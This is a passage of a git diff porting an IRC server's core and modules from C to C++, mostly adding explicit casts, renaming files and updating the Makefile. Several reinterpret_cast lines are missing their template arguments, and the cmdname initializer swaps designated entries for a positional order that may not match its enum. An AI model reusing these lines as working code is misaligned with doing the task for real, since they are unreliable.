client_p->whowas_clist.head) { - struct Whowas *who = ptr->data; + struct Whowas *who = (Whowas *)ptr->data; who->online = NULL; rb_dlinkDelete(&who->cnode, &client_p->whowas_clist); } @@ -150,7 +150,7 @@ whowas_get_history(const char *nick, time_t timelimit) struct whowas_top *wtop; rb_dlink_node *ptr; - wtop = rb_radixtree_retrieve(whowas_tree, nick); + wtop = (whowas_top *)rb_radixtree_retrieve(whowas_tree, nick); if(wtop == NULL) return NULL; @@ -158,7 +158,7 @@ whowas_get_history(const char *nick, time_t timelimit) RB_DLINK_FOREACH_PREV(ptr, wtop->wwlist.tail) { - struct Whowas *who = ptr->data; + struct Whowas *who = (Whowas *)ptr->data; if(who->logoff >= timelimit) { return who->online; @@ -182,7 +182,7 @@ whowas_trim(void *unused) { if(whowas_list.tail != NULL && whowas_list.tail->data != NULL) { - struct Whowas *twho = whowas_list.tail->data; + struct Whowas *twho = (Whowas *)whowas_list.tail->data; if(twho->online != NULL) rb_dlinkDelete(&twho->cnode, &twho->online->whowas_clist); rb_dlinkDelete(&twho->wnode, &twho->wtop->wwlist); diff --git a/ircd/wsproc.c b/ircd/wsproc.cc similarity index 94% rename from ircd/wsproc.c rename to ircd/wsproc.cc index c6fb7f404..fd1eddca9 100644 --- a/ircd/wsproc.c +++ b/ircd/wsproc.cc @@ -86,7 +86,7 @@ allocate_ws_daemon(rb_fde_t * F, rb_fde_t * P, int pid) if(F == NULL || pid < 0) return NULL; - ctl = rb_malloc(sizeof(ws_ctl_t)); + ctl = (ws_ctl_t *)rb_malloc(sizeof(ws_ctl_t)); ctl->F = F; ctl->P = P; ctl->pid = pid; @@ -106,7 +106,7 @@ free_ws_daemon(ws_ctl_t * ctl) RB_DLINK_FOREACH(ptr, ctl->readq.head) { - ctl_buf = ptr->data; + ctl_buf = (ws_ctl_buf_t *)ptr->data; for(x = 0; x < ctl_buf->nfds; x++) rb_close(ctl_buf->F[x]); @@ -116,7 +116,7 @@ free_ws_daemon(ws_ctl_t * ctl) RB_DLINK_FOREACH(ptr, ctl->writeq.head) { - ctl_buf = ptr->data; + ctl_buf = (ws_ctl_buf_t *)ptr->data; for(x = 0; x < ctl_buf->nfds; x++) rb_close(ctl_buf->F[x]); @@ -143,7 +143,7 @@ restart_wsockd(void) RB_DLINK_FOREACH_SAFE(ptr, next, wsock_daemons.head) { - ctl = ptr->data; + ctl = (ws_ctl_t *)ptr->data; if(ctl->dead) continue; if(ctl->shutdown) @@ -203,7 +203,7 @@ static void ws_do_pipe(rb_fde_t * F, void *data) { int retlen; - ws_ctl_t *ctl = data; + ws_ctl_t *ctl = (ws_ctl_t *)data; retlen = rb_write(F, "0", 1); if(retlen == 0 || (retlen < 0 && !rb_ignore_errno(errno))) { @@ -373,7 +373,7 @@ ws_process_cmd_recv(ws_ctl_t * ctl) RB_DLINK_FOREACH_SAFE(ptr, next, ctl->readq.head) { - ctl_buf = ptr->data; + ctl_buf = (ws_ctl_buf_t *)ptr->data; switch (*ctl_buf->buf) { case 'D': @@ -396,15 +396,15 @@ static void ws_read_ctl(rb_fde_t * F, void *data) { ws_ctl_buf_t *ctl_buf; - ws_ctl_t *ctl = data; + ws_ctl_t *ctl = (ws_ctl_t *)data; int retlen; if(ctl->dead) return; do { - ctl_buf = rb_malloc(sizeof(ws_ctl_buf_t)); - ctl_buf->buf = rb_malloc(READSIZE); + ctl_buf = (ws_ctl_buf_t *)rb_malloc(sizeof(ws_ctl_buf_t)); + ctl_buf->buf = (char *)rb_malloc(READSIZE); retlen = rb_recv_fd_buf(ctl->F, ctl_buf->buf, READSIZE, ctl_buf->F, 4); ctl_buf->buflen = retlen; if(retlen <= 0) @@ -434,7 +434,7 @@ which_wsockd(void) RB_DLINK_FOREACH(ptr, wsock_daemons.head) { - ctl = ptr->data; + ctl = (ws_ctl_t *)ptr->data; if(ctl->dead) continue; if(ctl->shutdown) @@ -454,7 +454,7 @@ which_wsockd(void) static void ws_write_ctl(rb_fde_t * F, void *data) { - ws_ctl_t *ctl = data; + ws_ctl_t *ctl = (ws_ctl_t *)data; ws_ctl_buf_t *ctl_buf; rb_dlink_node *ptr, *next; int retlen, x; @@ -464,7 +464,7 @@ ws_write_ctl(rb_fde_t * F, void *data) RB_DLINK_FOREACH_SAFE(ptr, next, ctl->writeq.head) { - ctl_buf = ptr->data; + ctl_buf = (ws_ctl_buf_t *)ptr->data; /* in theory unix sock_dgram shouldn't ever short write this.. */ retlen = rb_send_fd_buf(ctl->F, ctl_buf->F, ctl_buf->nfds, ctl_buf->buf, ctl_buf->buflen, ctl->pid); if(retlen > 0) @@ -498,8 +498,8 @@ ws_cmd_write_queue(ws_ctl_t * ctl, rb_fde_t ** F, int count, const void *buf, si if(ctl->dead) return; - ctl_buf = rb_malloc(sizeof(ws_ctl_buf_t)); - ctl_buf->buf = rb_malloc(buflen); + ctl_buf = (ws_ctl_buf_t *)rb_malloc(sizeof(ws_ctl_buf_t)); + ctl_buf->buf = (char *)rb_malloc(buflen); memcpy(ctl_buf->buf, buf, buflen); ctl_buf->buflen = buflen; @@ -556,7 +556,7 @@ cleanup_dead_ws(void *unused) ws_ctl_t *ctl; RB_DLINK_FOREACH_SAFE(ptr, next, wsock_daemons.head) { - ctl = ptr->data; + ctl = (ws_ctl_t *)ptr->data; if(ctl->dead && !ctl->cli_count) { free_ws_daemon(ctl); @@ -577,7 +577,7 @@ wsockd_foreach_info(void (*func)(void *data, pid_t pid, int cli_count, enum wsoc ws_ctl_t *ctl; RB_DLINK_FOREACH_SAFE(ptr, next, wsock_daemons.head) { - ctl = ptr->data; + ctl = (ws_ctl_t *)ptr->data; func(data, ctl->pid, ctl->cli_count, ctl->dead ? WSOCKD_DEAD : (ctl->shutdown ? WSOCKD_SHUTDOWN : WSOCKD_ACTIVE)); diff --git a/modules/Makefile.am b/modules/Makefile.am index dd152e4cc..49f4acce8 100644 --- a/modules/Makefile.am +++ b/modules/Makefile.am @@ -1,13 +1,86 @@ AUTOMAKE_OPTIONS = subdir-objects -AM_CPPFLAGS = -I$(top_srcdir)/include $(LTDLINCL) +AM_CPPFLAGS = $(LTDLINCL) +AM_CPPFLAGS += -I$(top_srcdir)/include +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include AM_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined -shared AM_LDFLAGS += -export-symbols-regex _mheader -LIBS += $(top_srcdir)/ircd/libircd.la -LIBS += $(top_srcdir)/rb/librb.la +AM_LDFLAGS += -L$(top_srcdir)/boost/lib -lboost_system +AM_LDFLAGS += -L$(top_srcdir)/ircd -lircd +AM_LDFLAGS += -L$(top_srcdir)/rb -lrb auto_load_moddir=@moduledir@/autoload +cap_account_tag_la_SOURCES = cap_account_tag.cc +cap_server_time_la_SOURCES = cap_server_time.cc +chm_nocolour_la_SOURCES = chm_nocolour.cc +chm_noctcp_la_SOURCES = chm_noctcp.cc +m_accept_la_SOURCES = m_accept.cc +m_admin_la_SOURCES = m_admin.cc +m_alias_la_SOURCES = m_alias.cc +m_away_la_SOURCES = m_away.cc +m_cap_la_SOURCES = m_cap.cc +m_capab_la_SOURCES = m_capab.cc +m_certfp_la_SOURCES = m_certfp.cc +m_challenge_la_SOURCES = m_challenge.cc +m_chghost_la_SOURCES = m_chghost.cc +m_close_la_SOURCES = m_close.cc +m_connect_la_SOURCES = m_connect.cc +m_dline_la_SOURCES = m_dline.cc +m_encap_la_SOURCES = m_encap.cc +m_etrace_la_SOURCES = m_etrace.cc +m_grant_la_SOURCES = m_grant.cc +m_help_la_SOURCES = m_help.cc +m_info_la_SOURCES = m_info.cc +m_invite_la_SOURCES = m_invite.cc +m_ison_la_SOURCES = m_ison.cc +m_kline_la_SOURCES = m_kline.cc +m_knock_la_SOURCES = m_knock.cc +m_links_la_SOURCES = m_links.cc +m_list_la_SOURCES = m_list.cc +m_lusers_la_SOURCES = m_lusers.cc +m_map_la_SOURCES = m_map.cc +m_monitor_la_SOURCES = m_monitor.cc +m_motd_la_SOURCES = m_motd.cc +m_names_la_SOURCES = m_names.cc +m_oper_la_SOURCES = m_oper.cc +m_operspy_la_SOURCES = m_operspy.cc +m_pass_la_SOURCES = m_pass.cc +m_ping_la_SOURCES = m_ping.cc +m_pong_la_SOURCES = m_pong.cc +m_post_la_SOURCES = m_post.cc +m_privs_la_SOURCES = m_privs.cc +m_rehash_la_SOURCES = m_rehash.cc +m_restart_la_SOURCES = m_restart.cc +m_resv_la_SOURCES = m_resv.cc +m_sasl_la_SOURCES = m_sasl.cc +m_scan_la_SOURCES = m_scan.cc +m_services_la_SOURCES = m_services.cc +m_set_la_SOURCES = m_set.cc +m_signon_la_SOURCES = m_signon.cc +m_snote_la_SOURCES = m_snote.cc +m_starttls_la_SOURCES = m_starttls.cc +m_stats_la_SOURCES = m_stats.cc +m_svinfo_la_SOURCES = m_svinfo.cc +m_tb_la_SOURCES = m_tb.cc +m_testline_la_SOURCES = m_testline.cc +m_testmask_la_SOURCES = m_testmask.cc +m_tginfo_la_SOURCES = m_tginfo.cc +m_time_la_SOURCES = m_time.cc +m_topic_la_SOURCES = m_topic.cc +m_trace_la_SOURCES = m_trace.cc +m_unreject_la_SOURCES = m_unreject.cc +m_user_la_SOURCES = m_user.cc +m_userhost_la_SOURCES = m_userhost.cc +m_users_la_SOURCES = m_users.cc +m_version_la_SOURCES = m_version.cc +m_wallops_la_SOURCES = m_wallops.cc +m_who_la_SOURCES = m_who.cc +m_whois_la_SOURCES = m_whois.cc +m_whowas_la_SOURCES = m_whowas.cc +m_xline_la_SOURCES = m_xline.cc +sno_routing_la_SOURCES = sno_routing.cc + auto_load_mod_LTLIBRARIES = \ cap_account_tag.la \ cap_server_time.la \ @@ -79,6 +152,23 @@ auto_load_mod_LTLIBRARIES = \ m_xline.la \ sno_routing.la + +core_m_ban_la_SOURCES = core/m_ban.cc +core_m_die_la_SOURCES = core/m_die.cc +core_m_error_la_SOURCES = core/m_error.cc +core_m_join_la_SOURCES = core/m_join.cc +core_m_kick_la_SOURCES = core/m_kick.cc +core_m_kill_la_SOURCES = core/m_kill.cc +core_m_message_la_SOURCES = core/m_message.cc +core_m_mode_la_SOURCES = core/m_mode.cc +core_m_modules_la_SOURCES = core/m_modules.cc +core_m_nick_la_SOURCES = core/m_nick.cc +core_m_part_la_SOURCES = core/m_part.cc +core_m_quit_la_SOURCES = core/m_quit.cc +core_m_server_la_SOURCES = core/m_server.cc +core_m_squit_la_SOURCES = core/m_squit.cc + + module_LTLIBRARIES = \ core/m_ban.la \ core/m_die.la \ diff --git a/modules/cap_account_tag.c b/modules/cap_account_tag.cc similarity index 97% rename from modules/cap_account_tag.c rename to modules/cap_account_tag.cc index 718ac69db..612b0fdd1 100644 --- a/modules/cap_account_tag.c +++ b/modules/cap_account_tag.cc @@ -51,7 +51,7 @@ mapi_cap_list_av2 cap_account_tag_cap_list[] = { static void cap_account_tag_process(hook_data *data) { - struct MsgBuf *msgbuf = data->arg1; + struct MsgBuf *msgbuf = (MsgBuf *)data->arg1; if (data->client != NULL && IsPerson(data->client) && *data->client->user->suser) msgbuf_append_tag(msgbuf, "account", data->client->user->suser, CLICAP_ACCOUNT_TAG); diff --git a/modules/cap_server_time.c b/modules/cap_server_time.cc similarity index 97% rename from modules/cap_server_time.c rename to modules/cap_server_time.cc index 42085c980..f9b71aa57 100644 --- a/modules/cap_server_time.c +++ b/modules/cap_server_time.cc @@ -54,7 +54,7 @@ cap_server_time_process(hook_data *data) { static char buf[BUFSIZE]; time_t ts = rb_current_time(); - struct MsgBuf *msgbuf = data->arg1; + struct MsgBuf *msgbuf = (MsgBuf *)data->arg1; strftime(buf, sizeof buf, "%Y-%m-%dT%H:%M:%S.000Z", gmtime(&ts)); diff --git a/modules/chm_nocolour.c b/modules/chm_nocolour.cc similarity index 100% rename from modules/chm_nocolour.c rename to modules/chm_nocolour.cc diff --git a/modules/chm_noctcp.c b/modules/chm_noctcp.cc similarity index 100% rename from modules/chm_noctcp.c rename to modules/chm_noctcp.cc diff --git a/modules/core/m_ban.c b/modules/core/m_ban.cc similarity index 98% rename from modules/core/m_ban.c rename to modules/core/m_ban.cc index 1a76395dc..4def1819b 100644 --- a/modules/core/m_ban.c +++ b/modules/core/m_ban.cc @@ -131,7 +131,7 @@ ms_ban(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p if (ptr != NULL) { /* We already know about this ban mask. */ - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if (aconf->created > created || (aconf->created == created && aconf->lifetime >= lifetime)) @@ -186,7 +186,7 @@ ms_ban(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p aconf->info.oper = operhash_add(oper); aconf->created = created; aconf->hold = hold; - if (ntype != CONF_KILL || (p = strchr(parv[parc - 1], '|')) == NULL) + if (ntype != CONF_KILL || (p = (char *)strchr(parv[parc - 1], '|')) == NULL) aconf->passwd = rb_strdup(parv[parc - 1]); else { diff --git a/modules/core/m_die.c b/modules/core/m_die.cc similarity index 100% rename from modules/core/m_die.c rename to modules/core/m_die.cc diff --git a/modules/core/m_error.c b/modules/core/m_error.cc similarity index 100% rename from modules/core/m_error.c rename to modules/core/m_error.cc diff --git a/modules/core/m_join.c b/modules/core/m_join.cc similarity index 99% rename from modules/core/m_join.c rename to modules/core/m_join.cc index bbaa901eb..10f07b139 100644 --- a/modules/core/m_join.c +++ b/modules/core/m_join.cc @@ -466,7 +466,7 @@ ms_join(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_ remove_our_modes(chptr, source_p); RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->invites.head) { - del_invite(chptr, ptr->data); + del_invite(chptr, (Client *)ptr->data); } /* If setting -j, clear join throttle state -- jilles */ chptr->join_count = chptr->join_delta = 0; @@ -651,7 +651,7 @@ ms_sjoin(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->locmembers.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; who = msptr->client_p; sendto_one(who, ":%s KICK %s %s :Net Rider", me.name, chptr->chname, who->name); @@ -714,7 +714,7 @@ ms_sjoin(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source remove_our_modes(chptr, fakesource_p); RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->invites.head) { - del_invite(chptr, ptr->data); + del_invite(chptr, (Client *)ptr->data); } if(rb_dlink_list_length(&chptr->banlist) > 0) @@ -766,7 +766,7 @@ ms_sjoin(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source * first space to \0, so s is just the first nick, and point p to the * second nick */ - if((p = strchr(s, ' ')) != NULL) + if((p = (char *)strchr(s, ' ')) != NULL) { *p++ = '\0'; } @@ -900,7 +900,7 @@ ms_sjoin(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source * we cant check it for spaces.. if there are no spaces, then when * we next get here, s will be NULL */ - if(s && ((p = strchr(s, ' ')) != NULL)) + if(s && ((p = (char *)strchr(s, ' ')) != NULL)) { *p++ = '\0'; } @@ -959,7 +959,7 @@ do_join_0(struct Client *client_p, struct Client *source_p) !IsOper(source_p) && !IsExemptSpambot(source_p)) check_spambot_warning(source_p, NULL); - msptr = ptr->data; + msptr = (membership *)ptr->data; chptr = msptr->chptr; sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%s@%s PART %s", source_p->name, @@ -1185,7 +1185,7 @@ remove_our_modes(struct Channel *chptr, struct Client *source_p) RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; if(is_chanop(msptr)) { @@ -1284,7 +1284,7 @@ remove_ban_list(struct Channel *chptr, struct Client *source_p, RB_DLINK_FOREACH_SAFE(ptr, next_ptr, list->head) { - banptr = ptr->data; + banptr = (Ban *)ptr->data; /* trailing space, and the mode letter itself */ plen = strlen(banptr->banstr) + diff --git a/modules/core/m_kick.c b/modules/core/m_kick.cc similarity index 98% rename from modules/core/m_kick.c rename to modules/core/m_kick.cc index 7284388eb..7468cf872 100644 --- a/modules/core/m_kick.c +++ b/modules/core/m_kick.cc @@ -74,7 +74,7 @@ m_kick(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p flood_endgrace(source_p); *buf = '\0'; - if((p = strchr(parv[1], ','))) + if((p = (char *)strchr(parv[1], ','))) *p = '\0'; name = parv[1]; @@ -117,7 +117,7 @@ m_kick(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p } - if((p = strchr(parv[2], ','))) + if((p = (char *)strchr(parv[2], ','))) *p = '\0'; user = parv[2]; /* strtoken(&p2, parv[2], ","); */ diff --git a/modules/core/m_kill.c b/modules/core/m_kill.cc similarity index 99% rename from modules/core/m_kill.c rename to modules/core/m_kill.cc index 1ec664532..14ed61753 100644 --- a/modules/core/m_kill.c +++ b/modules/core/m_kill.cc @@ -304,7 +304,7 @@ relay_kill(struct Client *one, struct Client *source_p, RB_DLINK_FOREACH(ptr, serv_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; if(!client_p || client_p == one) continue; diff --git a/modules/core/m_message.c b/modules/core/m_message.cc similarity index 99% rename from modules/core/m_message.c rename to modules/core/m_message.cc index cb6190436..0258b1e35 100644 --- a/modules/core/m_message.c +++ b/modules/core/m_message.cc @@ -146,9 +146,11 @@ static void handle_special(enum message_type msgtype, ** -db Nov 13, 2000 ** */ -const char *cmdname[MESSAGE_TYPE_COUNT] = { - [MESSAGE_TYPE_PRIVMSG] = "PRIVMSG", - [MESSAGE_TYPE_NOTICE] = "NOTICE", +const char *cmdname[MESSAGE_TYPE_COUNT] +{ + "NOTICE", + "PRIVMSG", + nullptr, }; static void @@ -699,7 +701,7 @@ expire_tgchange(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, tgchange_list.head) { - target = ptr->data; + target = (tgchange *)ptr->data; if(target->expiry < rb_current_time()) { @@ -974,7 +976,7 @@ handle_special(enum message_type msgtype, struct Client *client_p, * NOTE: users can send to user@server, but not user%host@server * or opers@server */ - if((server = strchr(nick, '@')) != NULL) + if((server = (char *)strchr(nick, '@')) != NULL) { if((target_p = find_server(source_p, server + 1)) == NULL) { @@ -1045,7 +1047,7 @@ handle_special(enum message_type msgtype, struct Client *client_p, return; } - if((s = strrchr(nick, '.')) == NULL) + if((s = (char *)strrchr(nick, '.')) == NULL) { sendto_one_numeric(source_p, ERR_NOTOPLEVEL, form_str(ERR_NOTOPLEVEL), nick); diff --git a/modules/core/m_mode.c b/modules/core/m_mode.cc similarity index 99% rename from modules/core/m_mode.c rename to modules/core/m_mode.cc index 7dd708d50..06a3e94f3 100644 --- a/modules/core/m_mode.c +++ b/modules/core/m_mode.cc @@ -243,7 +243,7 @@ possibly_remove_lower_forward(struct Client *fakesource_p, int mems, RB_DLINK_FOREACH(ptr, banlist->head) { - actualBan = ptr->data; + actualBan = (Ban *)ptr->data; if(!irccmp(actualBan->banstr, mask) && (actualBan->forward == NULL || irccmp(actualBan->forward, forward) < 0)) diff --git a/modules/core/m_modules.c b/modules/core/m_modules.cc similarity index 99% rename from modules/core/m_modules.c rename to modules/core/m_modules.cc index f28f0b756..10370cba3 100644 --- a/modules/core/m_modules.c +++ b/modules/core/m_modules.cc @@ -335,7 +335,7 @@ do_modrestart(struct Client *source_p) RB_DLINK_FOREACH_SAFE(ptr, nptr, module_list.head) { - struct module *mod = ptr->data; + struct module *mod = (module *)ptr->data; if(!unload_one_module(mod->name, false)) { ilog(L_MAIN, "Module Restart: %s was not unloaded %s", @@ -370,7 +370,7 @@ do_modlist(struct Client *source_p, const char *pattern) RB_DLINK_FOREACH(ptr, module_list.head) { - struct module *mod = ptr->data; + struct module *mod = (module *)ptr->data; bool display = false; const char *origin; diff --git a/modules/core/m_nick.c b/modules/core/m_nick.cc similarity index 99% rename from modules/core/m_nick.c rename to modules/core/m_nick.cc index 481300ddd..e2a15b509 100644 --- a/modules/core/m_nick.c +++ b/modules/core/m_nick.cc @@ -695,7 +695,7 @@ change_local_nick(struct Client *client_p, struct Client *source_p, */ RB_DLINK_FOREACH_SAFE(ptr, next_ptr, source_p->on_allow_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; rb_dlinkFindDestroy(source_p, &target_p->localClient->allow_list); rb_dlinkDestroy(ptr, &source_p->on_allow_list); @@ -740,7 +740,7 @@ change_remote_nick(struct Client *client_p, struct Client *source_p, del_from_client_hash(source_p->name, source_p); /* invalidate nick delay when a remote client uses the nick.. */ - if((nd = rb_dictionary_retrieve(nd_dict, nick))) + if((nd = (nd_entry *)rb_dictionary_retrieve(nd_dict, nick))) free_nd_entry(nd); rb_strlcpy(source_p->name, nick, sizeof(source_p->name)); @@ -1056,7 +1056,7 @@ register_client(struct Client *client_p, struct Client *server, } /* remove any nd entries for this nick */ - if((nd = rb_dictionary_retrieve(nd_dict, nick))) + if((nd = (nd_entry *)rb_dictionary_retrieve(nd_dict, nick))) free_nd_entry(nd); add_to_client_hash(nick, source_p); diff --git a/modules/core/m_part.c b/modules/core/m_part.cc similarity index 100% rename from modules/core/m_part.c rename to modules/core/m_part.cc diff --git a/modules/core/m_quit.c b/modules/core/m_quit.cc similarity index 100% rename from modules/core/m_quit.c rename to modules/core/m_quit.cc diff --git a/modules/core/m_server.c b/modules/core/m_server.cc similarity index 99% rename from modules/core/m_server.c rename to modules/core/m_server.cc index 3629acd40..15bebb433 100644 --- a/modules/core/m_server.c +++ b/modules/core/m_server.cc @@ -395,7 +395,7 @@ ms_server(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sourc */ RB_DLINK_FOREACH(ptr, hubleaf_conf_list.head) { - hub_p = ptr->data; + hub_p = (remote_conf *)ptr->data; if(match(hub_p->server, client_p->name) && match(hub_p->host, name)) { @@ -587,7 +587,7 @@ ms_sid(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p */ RB_DLINK_FOREACH(ptr, hubleaf_conf_list.head) { - hub_p = ptr->data; + hub_p = (remote_conf *)ptr->data; if(match(hub_p->server, client_p->name) && match(hub_p->host, parv[1])) { diff --git a/modules/core/m_squit.c b/modules/core/m_squit.cc similarity index 99% rename from modules/core/m_squit.c rename to modules/core/m_squit.cc index 7c691fa70..21463e6c1 100644 --- a/modules/core/m_squit.c +++ b/modules/core/m_squit.cc @@ -177,7 +177,7 @@ find_squit(struct Client *client_p, struct Client *source_p, const char *server) RB_DLINK_FOREACH(ptr, global_serv_list.head) { - p = ptr->data; + p = (Client *)ptr->data; if(IsServer(p) || IsMe(p)) { if(match(server, p->name)) diff --git a/modules/m_accept.c b/modules/m_accept.cc similarity index 99% rename from modules/m_accept.c rename to modules/m_accept.cc index c626db491..c660039b8 100644 --- a/modules/m_accept.c +++ b/modules/m_accept.cc @@ -231,7 +231,7 @@ list_accepts(struct Client *source_p) RB_DLINK_FOREACH(ptr, source_p->localClient->allow_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(target_p) { diff --git a/modules/m_admin.c b/modules/m_admin.cc similarity index 100% rename from modules/m_admin.c rename to modules/m_admin.cc diff --git a/modules/m_alias.c b/modules/m_alias.cc similarity index 92% rename from modules/m_alias.c rename to modules/m_alias.cc index 0b26ffe7d..da6c3652b 100644 --- a/modules/m_alias.c +++ b/modules/m_alias.cc @@ -54,14 +54,15 @@ static inline void create_aliases(void) { rb_dictionary_iter iter; - struct alias_entry *alias; s_assert(rb_dlink_list_length(&alias_messages) == 0); - RB_DICTIONARY_FOREACH(alias, &iter, alias_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, alias_dict) { - struct Message *message = rb_malloc(sizeof(*message) + strlen(alias->name) + 1); - char *cmd = (void*)message + sizeof(*message); + const auto alias(reinterpret_cast(elem)); + struct Message *message = (Message *)rb_malloc(sizeof(*message) + strlen(alias->name) + 1); + char *cmd = (char*)message + sizeof(*message); /* copy the alias name as it will be freed early on a rehash */ strcpy(cmd, alias->name); @@ -112,7 +113,7 @@ static void m_alias(struct MsgBuf *msgbuf, struct Client *client_p, struct Client *source_p, int parc, const char **parv) { struct Client *target_p; - struct alias_entry *aptr = rb_dictionary_retrieve(alias_dict, msgbuf->cmd); + struct alias_entry *aptr = (alias_entry *)rb_dictionary_retrieve(alias_dict, msgbuf->cmd); char *p, *str; if(aptr == NULL) diff --git a/modules/m_away.c b/modules/m_away.cc similarity index 100% rename from modules/m_away.c rename to modules/m_away.cc diff --git a/modules/m_cap.c b/modules/m_cap.cc similarity index 96% rename from modules/m_cap.c rename to modules/m_cap.cc index bb35d129a..9b7a821bc 100644 --- a/modules/m_cap.c +++ b/modules/m_cap.cc @@ -74,7 +74,7 @@ clicap_visible(struct Client *client_p, const struct CapabilityEntry *cap) if (cap->ownerdata == NULL) return 1; - clicap = cap->ownerdata; + clicap = (ClientCapability *)cap->ownerdata; if (clicap->visible == NULL) return 1; @@ -156,7 +156,6 @@ clicap_generate(struct Client *source_p, const char *subcmd, int flags) char capbuf[BUFSIZE] = { 0 }; int buflen = 0; int mlen; - struct CapabilityEntry *entry; rb_dictionary_iter iter; mlen = snprintf(buf, sizeof buf, ":%s CAP %s %s", @@ -171,10 +170,12 @@ clicap_generate(struct Client *source_p, const char *subcmd, int flags) return; } - RB_DICTIONARY_FOREACH(entry, &iter, cli_capindex->cap_dict) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, cli_capindex->cap_dict) { size_t caplen = 0; - struct ClientCapability *clicap = entry->ownerdata; + const auto entry(reinterpret_cast(elem)); + const auto clicap(reinterpret_cast(entry->ownerdata)); const char *data = NULL; if(flags && !IsCapableEntry(source_p, entry)) @@ -405,7 +406,7 @@ m_cap(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p, { struct clicap_cmd *cmd; - if(!(cmd = bsearch(parv[1], clicap_cmdlist, + if(!(cmd = (clicap_cmd *)bsearch(parv[1], clicap_cmdlist, sizeof(clicap_cmdlist) / sizeof(struct clicap_cmd), sizeof(struct clicap_cmd), (bqcmp) clicap_cmd_search))) { diff --git a/modules/m_capab.c b/modules/m_capab.cc similarity index 100% rename from modules/m_capab.c rename to modules/m_capab.cc diff --git a/modules/m_certfp.c b/modules/m_certfp.cc similarity index 100% rename from modules/m_certfp.c rename to modules/m_certfp.cc diff --git a/modules/m_challenge.c b/modules/m_challenge.cc similarity index 99% rename from modules/m_challenge.c rename to modules/m_challenge.cc index edcb2592e..c3d043f9e 100644 --- a/modules/m_challenge.c +++ b/modules/m_challenge.cc @@ -296,11 +296,11 @@ generate_challenge(char **r_challenge, char **r_response, RSA * rsa) { SHA1_Init(&ctx); SHA1_Update(&ctx, (uint8_t *)secret, CHALLENGE_SECRET_LENGTH); - *r_response = malloc(SHA_DIGEST_LENGTH); + *r_response = (char *)malloc(SHA_DIGEST_LENGTH); SHA1_Final((uint8_t *)*r_response, &ctx); length = RSA_size(rsa); - tmp = rb_malloc(length); + tmp = (unsigned char *)rb_malloc(length); ret = RSA_public_encrypt(CHALLENGE_SECRET_LENGTH, secret, tmp, rsa, RSA_PKCS1_OAEP_PADDING); if(ret >= 0) diff --git a/modules/m_chghost.c b/modules/m_chghost.cc similarity index 100% rename from modules/m_chghost.c rename to modules/m_chghost.cc diff --git a/modules/m_close.c b/modules/m_close.cc similarity index 98% rename from modules/m_close.c rename to modules/m_close.cc index 262b649e2..7aee1a34d 100644 --- a/modules/m_close.c +++ b/modules/m_close.cc @@ -58,7 +58,7 @@ mo_close(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source RB_DLINK_FOREACH_SAFE(ptr, ptr_next, unknown_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; sendto_one(source_p, form_str(RPL_CLOSING), me.name, source_p->name, get_client_name(target_p, SHOW_IP), target_p->status); diff --git a/modules/m_connect.c b/modules/m_connect.cc similarity index 100% rename from modules/m_connect.c rename to modules/m_connect.cc diff --git a/modules/m_dline.c b/modules/m_dline.cc similarity index 100% rename from modules/m_dline.c rename to modules/m_dline.cc diff --git a/modules/m_encap.c b/modules/m_encap.cc similarity index 100% rename from modules/m_encap.c rename to modules/m_encap.cc diff --git a/modules/m_etrace.c b/modules/m_etrace.cc similarity index 98% rename from modules/m_etrace.c rename to modules/m_etrace.cc index a22466aed..39b97b24f 100644 --- a/modules/m_etrace.c +++ b/modules/m_etrace.cc @@ -161,7 +161,7 @@ do_etrace(struct Client *source_p, int ipv4, int ipv6) /* report all direct connections */ RB_DLINK_FOREACH(ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; #ifdef RB_IPV6 if((!ipv4 && GET_SS_FAMILY(&target_p->localClient->ip) == AF_INET) || @@ -188,7 +188,7 @@ do_etrace_full(struct Client *source_p) RB_DLINK_FOREACH(ptr, lclient_list.head) { - do_single_etrace(source_p, ptr->data); + do_single_etrace(source_p, (Client *)ptr->data); } sendto_one_numeric(source_p, RPL_ENDOFTRACE, form_str(RPL_ENDOFTRACE), me.name); @@ -270,7 +270,7 @@ m_chantrace(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *sou RB_DLINK_FOREACH(ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(EmptyString(target_p->sockhost)) @@ -303,7 +303,7 @@ match_masktrace(struct Client *source_p, rb_dlink_list *list, RB_DLINK_FOREACH(ptr, list->head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!IsPerson(target_p)) continue; diff --git a/modules/m_grant.c b/modules/m_grant.cc similarity index 100% rename from modules/m_grant.c rename to modules/m_grant.cc diff --git a/modules/m_help.c b/modules/m_help.cc similarity index 95% rename from modules/m_help.c rename to modules/m_help.cc index 411ec2898..faa97fb04 100644 